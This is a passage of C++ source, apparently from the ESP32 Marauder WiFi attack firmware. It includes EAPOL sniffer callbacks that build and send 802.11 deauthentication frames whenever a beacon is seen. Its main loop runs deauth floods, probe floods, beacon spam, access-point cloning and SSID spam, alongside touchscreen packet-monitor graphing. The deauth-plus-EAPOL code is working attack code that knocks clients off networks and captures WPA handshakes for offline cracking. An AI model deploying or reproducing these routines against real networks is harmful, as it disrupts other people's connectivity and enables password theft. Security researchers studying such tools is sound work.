  1995. #ifdef HAS_SCREEN
  1996. for (int i = 0; i < 40 - temp_len; i++)
  1997. {
  1998. display_string.concat(" ");
  1999. }
  2000. //Serial.print(" ");
  2001. #ifdef MARAUDER_MINI
  2002. if (display_obj.display_buffer->size() == 0)
  2003. {
  2004. display_obj.loading = true;
  2005. display_obj.display_buffer->add(display_string);
  2006. display_obj.loading = false;
  2007. }
  2008. #endif
  2009. #endif
  2010. if (save_packet)
  2011. sd_obj.addPacket(snifferPacket->payload, len);
  2012. }
  2013. }
  2014. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2015. {
  2016. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2017. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2018. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2019. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2020. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2021. int len = snifferPacket->rx_ctrl.sig_len;
  2022. String display_string = "";
  2023. if (type == WIFI_PKT_MGMT)
  2024. {
  2025. len -= 4;
  2026. int fctl = ntohs(frameControl->fctl);
  2027. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2028. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2029. }
  2030. #ifdef HAS_SCREEN
  2031. int buff = display_obj.display_buffer->size();
  2032. #else
  2033. int buff = 0;
  2034. #endif
  2035. // Found beacon frame. Decide whether to deauth
  2036. if (send_deauth) {
  2037. if (snifferPacket->payload[0] == 0x80) {
  2038. // Build packet
  2039. uint8_t new_packet[26] = {
  2040. 0xc0, 0x00, 0x3a, 0x01,
  2041. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2042. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2043. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2044. 0xf0, 0xff, 0x02, 0x00
  2045. };
  2046. new_packet[10] = snifferPacket->payload[10];
  2047. new_packet[11] = snifferPacket->payload[11];
  2048. new_packet[12] = snifferPacket->payload[12];
  2049. new_packet[13] = snifferPacket->payload[13];
  2050. new_packet[14] = snifferPacket->payload[14];
  2051. new_packet[15] = snifferPacket->payload[15];
  2052. new_packet[16] = snifferPacket->payload[10];
  2053. new_packet[17] = snifferPacket->payload[11];
  2054. new_packet[18] = snifferPacket->payload[12];
  2055. new_packet[19] = snifferPacket->payload[13];
  2056. new_packet[20] = snifferPacket->payload[14];
  2057. new_packet[21] = snifferPacket->payload[15];
  2058. // Send packet
  2059. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2060. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2061. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2062. delay(1);
  2063. }
  2064. }
  2065. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2066. num_eapol++;
  2067. Serial.println("Received EAPOL:");
  2068. char addr[] = "00:00:00:00:00:00";
  2069. getMAC(addr, snifferPacket->payload, 10);
  2070. display_string.concat(addr);
  2071. int temp_len = display_string.length();
  2072. #ifdef HAS_SCREEN
  2073. for (int i = 0; i < 40 - temp_len; i++)
  2074. {
  2075. display_string.concat(" ");
  2076. }
  2077. Serial.print(" ");
  2078. #ifdef MARAUDER_MINI
  2079. if (display_obj.display_buffer->size() == 0)
  2080. {
  2081. display_obj.loading = true;
  2082. display_obj.display_buffer->add(display_string);
  2083. display_obj.loading = false;
  2084. }
  2085. #endif
  2086. #endif
  2087. // for (int i = 0; i < len; i++) {
  2088. // char hexCar[4];
  2089. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2090. // Serial.print(hexCar);
  2091. //Serial.print(snifferPacket->payload[i], HEX);
  2092. // if ((i + 1) % 16 == 0)
  2093. // Serial.print("\n");
  2094. // else
  2095. // Serial.print(" ");
  2096. // }
  2097. // Serial.print("\n");
  2098. }
  2099. if (save_packet)
  2100. sd_obj.addPacket(snifferPacket->payload, len);
  2101. }
  2102. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2103. {
  2104. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2105. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2106. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2107. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2108. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2109. int len = snifferPacket->rx_ctrl.sig_len;
  2110. if (type == WIFI_PKT_MGMT)
  2111. {
  2112. len -= 4;
  2113. int fctl = ntohs(frameControl->fctl);
  2114. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2115. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2116. }
  2117. // Found beacon frame. Decide whether to deauth
  2118. if (snifferPacket->payload[0] == 0x80) {
  2119. // Build packet
  2120. //Serial.println("Recieved beacon frame");
  2121. uint8_t new_packet[26] = {
  2122. 0xc0, 0x00, 0x3a, 0x01,
  2123. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2124. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2125. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2126. 0xf0, 0xff, 0x02, 0x00
  2127. };
  2128. new_packet[10] = snifferPacket->payload[10];
  2129. new_packet[11] = snifferPacket->payload[11];
  2130. new_packet[12] = snifferPacket->payload[12];
  2131. new_packet[13] = snifferPacket->payload[13];
  2132. new_packet[14] = snifferPacket->payload[14];
  2133. new_packet[15] = snifferPacket->payload[15];
  2134. new_packet[16] = snifferPacket->payload[10];
  2135. new_packet[17] = snifferPacket->payload[11];
  2136. new_packet[18] = snifferPacket->payload[12];
  2137. new_packet[19] = snifferPacket->payload[13];
  2138. new_packet[20] = snifferPacket->payload[14];
  2139. new_packet[21] = snifferPacket->payload[15];
  2140. // Send packet
  2141. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2142. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2143. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2144. delay(1);
  2145. }
  2146. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2147. num_eapol++;
  2148. Serial.println("Received EAPOL:");
  2149. // for (int i = 0; i < len; i++) {
  2150. // char hexCar[3];
  2151. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2152. // Serial.print(hexCar);
  2153. //Serial.print(snifferPacket->payload[i], HEX);
  2154. // if ((i + 1) % 16 == 0)
  2155. // Serial.print("\n");
  2156. // else
  2157. // Serial.print(" ");
  2158. // }
  2159. // Serial.print("\n");
  2160. }
  2161. if (save_packet)
  2162. sd_obj.addPacket(snifferPacket->payload, len);
  2163. }
  2164. #ifdef HAS_SCREEN
  2165. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2166. {
  2167. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2168. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2169. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2170. {
  2171. currentTime = millis();
  2172. do_break = false;
  2173. y_pos_x = 0;
  2174. y_pos_y = 0;
  2175. y_pos_z = 0;
  2176. boolean pressed = false;
  2177. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2178. // Do the touch stuff
  2179. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2180. if (pressed) {
  2181. Serial.print("Got touch | X: ");
  2182. Serial.print(t_x);
  2183. Serial.print(" Y: ");
  2184. Serial.println(t_y);
  2185. }
  2186. // Check buttons for presses
  2187. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2188. {
  2189. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2190. {
  2191. display_obj.key[b].press(true);
  2192. } else {
  2193. display_obj.key[b].press(false);
  2194. }
  2195. }
  2196. // Which buttons pressed
  2197. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2198. {
  2199. if (display_obj.key[b].justPressed())
  2200. {
  2201. Serial.println("Bro, key pressed");
  2202. //do_break = true;
  2203. }
  2204. if (display_obj.key[b].justReleased())
  2205. {
  2206. do_break = true;
  2207. // Channel - button pressed
  2208. if (b == 4) {
  2209. if (set_channel > 1) {
  2210. Serial.println("Shit channel down");
  2211. set_channel--;
  2212. delay(70);
  2213. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2214. //display_obj.tftDrawXScaleButtons(x_scale);
  2215. //display_obj.tftDrawYScaleButtons(y_scale);
  2216. display_obj.tftDrawChannelScaleButtons(set_channel);
  2217. display_obj.tftDrawExitScaleButtons();
  2218. changeChannel();
  2219. break;
  2220. }
  2221. }
  2222. // Channel + button pressed
  2223. else if (b == 5) {
  2224. if (set_channel < MAX_CHANNEL) {
  2225. Serial.println("Shit channel up");
  2226. set_channel++;
  2227. delay(70);
  2228. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2229. //display_obj.tftDrawXScaleButtons(x_scale);
  2230. //display_obj.tftDrawYScaleButtons(y_scale);
  2231. display_obj.tftDrawChannelScaleButtons(set_channel);
  2232. display_obj.tftDrawExitScaleButtons();
  2233. changeChannel();
  2234. break;
  2235. }
  2236. }
  2237. else if (b == 6) {
  2238. Serial.println("Exiting packet monitor...");
  2239. this->StartScan(WIFI_SCAN_OFF);
  2240. //display_obj.tft.init();
  2241. this->orient_display = true;
  2242. return;
  2243. }
  2244. }
  2245. }
  2246. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2247. //Serial.println("-----------------------------------------");
  2248. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2249. x_pos += x_scale;
  2250. initTime = millis();
  2251. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2252. if (y_pos_x >= HEIGHT_1) {
  2253. Serial.println("Max EAPOL number reached. Adjusting...");
  2254. num_eapol = 0;
  2255. }
  2256. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2257. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2258. //Serial.println("num_beacon: " + (String)num_beacon);
  2259. //Serial.println("num_deauth: " + (String)num_deauth);
  2260. //Serial.println(" num_probe: " + (String)num_probe);
  2261. //num_beacon = 0;
  2262. //num_probe = 0;
  2263. //num_deauth = 0;
  2264. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2265. //Plot "X" value
  2266. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2267. //Plot "Z" value
  2268. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2269. //Plot "Y" value
  2270. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2271. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2272. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2273. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2274. {
  2275. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2276. }
  2277. else
  2278. {
  2279. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2280. }
  2281. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2282. //if (x_pos <= 90)
  2283. if (x_pos < 0) // below x axis
  2284. {
  2285. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2286. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2287. }
  2288. else
  2289. {
  2290. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2291. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2292. }
  2293. //tftDisplayTime();
  2294. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2295. {
  2296. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2297. }
  2298. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2299. //y_pos_y_old = y_pos_y;
  2300. //y_pos_z_old = y_pos_z;
  2301. //delay(50);
  2302. }
  2303. sd_obj.main();
  2304. }
  2305. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2306. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2307. display_obj.tftDrawChannelScaleButtons(set_channel);
  2308. display_obj.tftDrawExitScaleButtons();
  2309. display_obj.tftDrawEapolColorKey();
  2310. display_obj.tftDrawGraphObjects(x_scale);
  2311. }
  2312. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2313. {
  2314. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2315. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2316. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2317. {
  2318. currentTime = millis();
  2319. do_break = false;
  2320. y_pos_x = 0;
  2321. y_pos_y = 0;
  2322. y_pos_z = 0;
  2323. boolean pressed = false;
  2324. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2325. // Do the touch stuff
  2326. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2327. if (pressed) {
  2328. Serial.print("Got touch | X: ");
  2329. Serial.print(t_x);
  2330. Serial.print(" Y: ");
  2331. Serial.println(t_y);
  2332. }
  2333. // Check buttons for presses
  2334. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2335. {
  2336. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2337. {
  2338. display_obj.key[b].press(true);
  2339. } else {
  2340. display_obj.key[b].press(false);
  2341. }
  2342. }
  2343. // Which buttons pressed
  2344. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2345. {
  2346. if (display_obj.key[b].justPressed())
  2347. {
  2348. Serial.println("Bro, key pressed");
  2349. //do_break = true;
  2350. }
  2351. if (display_obj.key[b].justReleased())
  2352. {
  2353. do_break = true;
  2354. // X - button pressed
  2355. if (b == 0) {
  2356. if (x_scale > 1) {
  2357. x_scale--;
  2358. delay(70);
  2359. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2360. display_obj.tftDrawXScaleButtons(x_scale);
  2361. display_obj.tftDrawYScaleButtons(y_scale);
  2362. display_obj.tftDrawChannelScaleButtons(set_channel);
  2363. display_obj.tftDrawExitScaleButtons();
  2364. break;
  2365. }
  2366. }
  2367. // X + button pressed
  2368. else if (b == 1) {
  2369. if (x_scale < 6) {
  2370. x_scale++;
  2371. delay(70);
  2372. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2373. display_obj.tftDrawXScaleButtons(x_scale);
  2374. display_obj.tftDrawYScaleButtons(y_scale);
  2375. display_obj.tftDrawChannelScaleButtons(set_channel);
  2376. display_obj.tftDrawExitScaleButtons();
  2377. break;
  2378. }
  2379. }
  2380. // Y - button pressed
  2381. else if (b == 2) {
  2382. if (y_scale > 1) {
  2383. y_scale--;
  2384. delay(70);
  2385. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2386. display_obj.tftDrawXScaleButtons(x_scale);
  2387. display_obj.tftDrawYScaleButtons(y_scale);
  2388. display_obj.tftDrawChannelScaleButtons(set_channel);
  2389. display_obj.tftDrawExitScaleButtons();
  2390. //updateMidway();
  2391. break;
  2392. }
  2393. }
  2394. // Y + button pressed
  2395. else if (b == 3) {
  2396. if (y_scale < 9) {
  2397. y_scale++;
  2398. delay(70);
  2399. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2400. display_obj.tftDrawXScaleButtons(x_scale);
  2401. display_obj.tftDrawYScaleButtons(y_scale);
  2402. display_obj.tftDrawChannelScaleButtons(set_channel);
  2403. display_obj.tftDrawExitScaleButtons();
  2404. //updateMidway();
  2405. break;
  2406. }
  2407. }
  2408. // Channel - button pressed
  2409. else if (b == 4) {
  2410. if (set_channel > 1) {
  2411. Serial.println("Shit channel down");
  2412. set_channel--;
  2413. delay(70);
  2414. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2415. display_obj.tftDrawXScaleButtons(x_scale);
  2416. display_obj.tftDrawYScaleButtons(y_scale);
  2417. display_obj.tftDrawChannelScaleButtons(set_channel);
  2418. display_obj.tftDrawExitScaleButtons();
  2419. changeChannel();
  2420. break;
  2421. }
  2422. }
  2423. // Channel + button pressed
  2424. else if (b == 5) {
  2425. if (set_channel < MAX_CHANNEL) {
  2426. Serial.println("Shit channel up");
  2427. set_channel++;
  2428. delay(70);
  2429. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2430. display_obj.tftDrawXScaleButtons(x_scale);
  2431. display_obj.tftDrawYScaleButtons(y_scale);
  2432. display_obj.tftDrawChannelScaleButtons(set_channel);
  2433. display_obj.tftDrawExitScaleButtons();
  2434. changeChannel();
  2435. break;
  2436. }
  2437. }
  2438. else if (b == 6) {
  2439. Serial.println("Exiting packet monitor...");
  2440. this->StartScan(WIFI_SCAN_OFF);
  2441. //display_obj.tft.init();
  2442. this->orient_display = true;
  2443. return;
  2444. }
  2445. }
  2446. }
  2447. if (currentTime - initTime >= GRAPH_REFRESH) {
  2448. //Serial.println("-----------------------------------------");
  2449. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2450. x_pos += x_scale;
  2451. initTime = millis();
  2452. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2453. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2454. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2455. //Serial.println("num_beacon: " + (String)num_beacon);
  2456. //Serial.println("num_deauth: " + (String)num_deauth);
  2457. //Serial.println(" num_probe: " + (String)num_probe);
  2458. num_beacon = 0;
  2459. num_probe = 0;
  2460. num_deauth = 0;
  2461. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2462. //Plot "X" value
  2463. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2464. //Plot "Z" value
  2465. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2466. //Plot "Y" value
  2467. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2468. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2469. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2470. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2471. {
  2472. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2473. }
  2474. else
  2475. {
  2476. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2477. }
  2478. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2479. //if (x_pos <= 90)
  2480. if (x_pos < 0) // below x axis
  2481. {
  2482. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2483. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2484. }
  2485. else
  2486. {
  2487. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2488. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2489. }
  2490. //tftDisplayTime();
  2491. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2492. {
  2493. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2494. }
  2495. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2496. y_pos_y_old = y_pos_y;
  2497. y_pos_z_old = y_pos_z;
  2498. //delay(50);
  2499. }
  2500. sd_obj.main();
  2501. }
  2502. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2503. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2504. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2505. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2506. display_obj.tftDrawYScaleButtons(y_scale);
  2507. display_obj.tftDrawChannelScaleButtons(set_channel);
  2508. display_obj.tftDrawExitScaleButtons();
  2509. display_obj.tftDrawColorKey();
  2510. display_obj.tftDrawGraphObjects(x_scale);
  2511. }
  2512. #endif
  2513. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2514. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2515. // showMetadata(snifferPacket, type);
  2516. //}
  2517. void WiFiScan::changeChannel(int chan) {
  2518. this->set_channel = chan;
  2519. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2520. delay(1);
  2521. }
  2522. void WiFiScan::changeChannel()
  2523. {
  2524. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2525. delay(1);
  2526. }
  2527. // Function to cycle to the next channel
  2528. void WiFiScan::channelHop()
  2529. {
  2530. this->set_channel = this->set_channel + 1;
  2531. if (this->set_channel > 13) {
  2532. this->set_channel = 1;
  2533. }
  2534. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2535. delay(1);
  2536. }
  2537. char* WiFiScan::stringToChar(String string) {
  2538. char buf[string.length() + 1] = {};
  2539. string.toCharArray(buf, string.length() + 1);
  2540. return buf;
  2541. }
  2542. // Function for updating scan status
  2543. void WiFiScan::main(uint32_t currentTime)
  2544. {
  2545. // WiFi operations
  2546. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2547. (currentScanMode == WIFI_SCAN_AP) ||
  2548. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2549. (currentScanMode == WIFI_SCAN_PWN) ||
  2550. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2551. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2552. (currentScanMode == WIFI_SCAN_ALL))
  2553. {
  2554. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2555. {
  2556. initTime = millis();
  2557. channelHop();
  2558. }
  2559. }
  2560. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2561. {
  2562. #ifdef HAS_SCREEN
  2563. #ifndef MARAUDER_MINI
  2564. packetMonitorMain(currentTime);
  2565. #endif
  2566. #endif
  2567. }
  2568. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2569. {
  2570. #ifdef HAS_SCREEN
  2571. #ifndef MARAUDER_MINI
  2572. eapolMonitorMain(currentTime);
  2573. #endif
  2574. #endif
  2575. }
  2576. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2577. {
  2578. #ifdef HAS_SCREEN
  2579. eapolMonitorMain(currentTime);
  2580. #endif
  2581. }
  2582. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2583. for (int i = 0; i < 55; i++)
  2584. this->sendProbeAttack(currentTime);
  2585. if (currentTime - initTime >= 1000) {
  2586. initTime = millis();
  2587. String displayString = "";
  2588. String displayString2 = "";
  2589. displayString.concat(text18);
  2590. displayString.concat(packets_sent);
  2591. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2592. displayString2.concat(" ");
  2593. #ifdef HAS_SCREEN
  2594. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2595. display_obj.showCenterText(displayString2, 160);
  2596. display_obj.showCenterText(displayString, 160);
  2597. #endif
  2598. packets_sent = 0;
  2599. }
  2600. }
  2601. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2602. for (int i = 0; i < 55; i++)
  2603. this->sendDeauthAttack(currentTime);
  2604. if (currentTime - initTime >= 1000) {
  2605. initTime = millis();
  2606. String displayString = "";
  2607. String displayString2 = "";
  2608. displayString.concat(text18);
  2609. displayString.concat(packets_sent);
  2610. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2611. displayString2.concat(" ");
  2612. #ifdef HAS_SCREEN
  2613. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2614. display_obj.showCenterText(displayString2, 160);
  2615. display_obj.showCenterText(displayString, 160);
  2616. #endif
  2617. packets_sent = 0;
  2618. }
  2619. }
  2620. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2621. // Need this for loop because getTouch causes ~10ms delay
  2622. // which makes beacon spam less effective
  2623. for (int i = 0; i < access_points->size(); i++) {
  2624. if (access_points->get(i).selected)
  2625. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2626. random(256),
  2627. random(256),
  2628. random(256),
  2629. random(256),
  2630. random(256)}});
  2631. }
  2632. if (currentTime - initTime >= 1000)
  2633. {
  2634. initTime = millis();
  2635. //Serial.print("packets/sec: ");
  2636. //Serial.println(packets_sent);
  2637. String displayString = "";
  2638. String displayString2 = "";
  2639. displayString.concat(text18);
  2640. displayString.concat(packets_sent);
  2641. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2642. displayString2.concat(" ");
  2643. #ifdef HAS_SCREEN
  2644. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2645. display_obj.showCenterText(displayString2, 160);
  2646. display_obj.showCenterText(displayString, 160);
  2647. #endif
  2648. packets_sent = 0;
  2649. }
  2650. }
  2651. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2652. {
  2653. // Need this for loop because getTouch causes ~10ms delay
  2654. // which makes beacon spam less effective
  2655. for (int i = 0; i < 55; i++)
  2656. broadcastRandomSSID(currentTime);
  2657. if (currentTime - initTime >= 1000)
  2658. {
  2659. initTime = millis();
  2660. //Serial.print("packets/sec: ");
  2661. //Serial.println(packets_sent);
  2662. String displayString = "";
  2663. String displayString2 = "";
  2664. displayString.concat(text18);
  2665. displayString.concat(packets_sent);
  2666. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2667. displayString2.concat(" ");
  2668. #ifdef HAS_SCREEN
  2669. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2670. display_obj.showCenterText(displayString2, 160);
  2671. display_obj.showCenterText(displayString, 160);
  2672. #endif
  2673. packets_sent = 0;
  2674. }
  2675. }
  2676. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2677. for (int i = 0; i < ssids->size(); i++)
  2678. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2679. if (currentTime - initTime >= 1000)
  2680. {
  2681. initTime = millis();
  2682. packets_sent = 0;
  2683. }
  2684. }
  2685. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2686. for (int i = 0; i < access_points->size(); i++) {
  2687. if (access_points->get(i).selected)
  2688. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2689. }
  2690. if (currentTime - initTime >= 1000) {
  2691. initTime = millis();
  2692. packets_sent = 0;
  2693. }
  2694. }
  2695. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2696. {
  2697. // Need this for loop because getTouch causes ~10ms delay
  2698. // which makes beacon spam less effective
  2699. for (int i = 0; i < 7; i++)
  2700. {
  2701. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2702. {
  2703. broadcastSetSSID(currentTime, rick_roll[x]);
  2704. }
  2705. }
  2706. if (currentTime - initTime >= 1000)
  2707. {
  2708. initTime = millis();
  2709. //Serial.print("packets/sec: ");
  2710. //Serial.println(packets_sent);
  2711. String displayString = "";
  2712. String displayString2 = "";
  2713. displayString.concat(text18);
  2714. displayString.concat(packets_sent);
  2715. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2716. displayString2.concat(" ");
  2717. #ifdef HAS_SCREEN
  2718. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2719. display_obj.showCenterText(displayString2, 160);
  2720. display_obj.showCenterText(displayString, 160);
  2721. #endif
  2722. packets_sent = 0;
  2723. }
  2724. }
  2725. }